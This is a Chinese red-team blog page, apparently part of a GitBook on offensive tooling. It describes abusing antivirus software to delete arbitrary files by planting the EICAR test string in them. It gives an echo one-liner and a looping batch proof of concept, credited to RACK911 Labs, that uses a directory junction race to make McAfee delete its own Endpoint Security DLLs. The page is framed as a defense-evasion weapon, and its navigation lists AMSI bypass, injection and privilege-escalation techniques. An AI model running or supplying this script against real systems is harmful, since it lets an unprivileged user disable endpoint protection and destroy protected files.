idiotc4t's blog
  • 关于这个博客
  • 武器设计
    • 我也不知道能不能写
    • C2手稿
      • Heap加密
      • 数据打包DataPacker
      • 真·手稿
      • 实现UML图
    • 先占个位置
  • 武器化
    • COM组件相关的武器化开发技术
    • 攻击demo的bof改造
    • Go项目反射改造
    • VulnBins的利用 (vuln driver)
  • 红队研究
    • NtQueryInformationProcess逆向
    • NetUserAdd逆向
  • 应急响应
    • WannaMine4.0专杀的一些技巧
  • 防御逃避
    • ReflectiveDLLInjection变形应用
    • Execute-Assembly实现
    • ShadowMove复现与思考
    • 载入第二个Ntdll绕Hook
    • 编译时混淆字符串&函数调用
    • 基于线程结束的EventLog绕过
    • 动态获取系统调用(syscall)号
    • 基于内存补丁的AMSI绕过
    • 基于API Hook和DLL注入的AMSI绕过
    • 基于内存补丁ETW的绕过
    • 基于断链的DLL隐藏
    • 基于HEX字符串执行的AV绕过
    • CobaltStrike Argue命令实现
    • 简单的分离免杀
    • 伪装PPID规避检测
    • 伪装命令行规避检测
    • 通过重写ring3 API函数实现免杀
    • 动态调用无导入表编译
    • 基于Registry的虚拟机检测
    • 利用杀毒软件删除任意文件
    • 反转字符串绕杀软
    • 重新加载.text节拖钩
    • x64转换层&跨位数进程注入
  • 代码与进程注入
    • Divide and Conquer
    • Clipboard Data Deliver
    • .NET Reflective Injection
    • APC Thread Hijack
    • CreateRemoteThread
    • APC Injection
    • Mapping Injection
    • Bypass Session 0 Injection
    • WhiteFile Offset Table Generate Shellcode
    • Early Bird
    • Early Bird & CreateRemoteThread
    • TLS Code Execute
    • SEH Code Execute
    • APC & NtTestAlert Code Execute
    • NtCreateSection & NtMapViewOfSection Code Execute
    • Process Hollowing
    • SetContext Hijack Thread
    • DLL Hollowing
  • 权限提升
    • 基于注册表劫持BypassUAC
    • 基于dll劫持BypassUac
    • 通过com组件BypassUAC
    • 通过复制Token提权到SYSTEM
    • 通过code&dll注入提权到SYSTEM
    • 通过伪装PPID提权到SYSTEM
    • 通过系统服务提权到SYSTEM
  • 权限维持
    • 主机特征绑定木马
    • 寻找有价值的文件
    • 获取机器安装的软件
    • 通过API添加Windows用户
    • Detours InLine Hook
    • DLL劫持
    • RID劫持
    • 自启动服务
    • 编写简单远控
    • 注册表自启动项
由 GitBook 提供支持
在本页
  • 简介
  • 测试字符串
  • 利用流程
  • 利用代码
  • 扩展利用
  • LINKS

这有帮助吗?

  1. 防御逃避

利用杀毒软件删除任意文件

上一页基于Registry的虚拟机检测下一页反转字符串绕杀软

最后更新于5年前

这有帮助吗?

简介

通常,下载一个未知文件保存到硬盘后,杀毒软件通常会在短时间进行实时扫描,如果确定为可疑或威胁,该文件会被自动隔离,并询问用户是否处理。

考虑到杀毒软件几乎都已高权限运行,这样就为我们对杀毒软件利用产生了条件,我们可以往一个合法文件里写入恶意代码特征,然后利用杀毒软件帮我去删除这个文件,当然前提是这个文件当前没有使用。

测试字符串

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

来自维基百科:

EICAR标准反病毒测试文件,又称EICAR测试文件, 是由(EICAR)与(CARO)研制的文件, 用以测试的响应程度。不同于使用可能造成实际破环的实体恶意软件,该文件允许人们在没有计算机病毒的情况下测试杀毒软件。

杀毒软件的开发者将EICAR字符串视为测试病毒,与其他鉴别标识相似。合格的病毒扫描器在发现文件时,会精确地采用相同方式处置,如同发现一个严重的病毒时那样。注意并非所有病毒扫描器是合格的,有些病毒扫描器会在精确识别后保留文件。

EICAR测试字符的用法要比直接测试灵活:包含EICAR测试字符的文件会被或者,并且杀毒软件会尝试删除压缩文件中的测试字符。

简单的说为了测试杀毒软件的性能,所有厂商都会把这个测试字符串当作病毒处理。

预想一个场景,在杀毒软件运行时考虑到内存占用可能并不会加载所有自身dll,那我们往这个未加载的dll里写入这个测试字符串,这样杀毒软件就会自己干掉自己,等到需要用到这个功能dll的时候,这个功能就会失效。

利用流程

  1. 往文件写入测试字符串

利用代码

echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*  > <FILENAME>

扩展利用

windows提供了一个目录链接功能,只能将两个目录链接在一起。它不能链接文件,并且目录必须在文件系统本地。目录连接可以由任何用户执行,并且不需要管理员特权,因此非常适合在Windows操作系统下利用防病毒软件进行利用。

此poc来自rack911labs:

:loop
rd /s /q C:\Users\Username\Desktop\exploit
mkdir C:\Users\Username\Desktop\exploit
echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\Username\Desktop\exploit\EpSecApiLib.dll
rd /s /q C:\Users\Username\Desktop\exploit
mklink /J C:\Users\Username\Desktop\exploit “C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform”
goto loop

LINKS

欧洲反计算机病毒协会
计算机病毒研究组织
杀毒软件
压缩
存档
Exploiting (Almost) Every Antivirus SoftwareRACK911 Labs
Logo
EICAR标准反病毒测试文件Wikipedia
Logo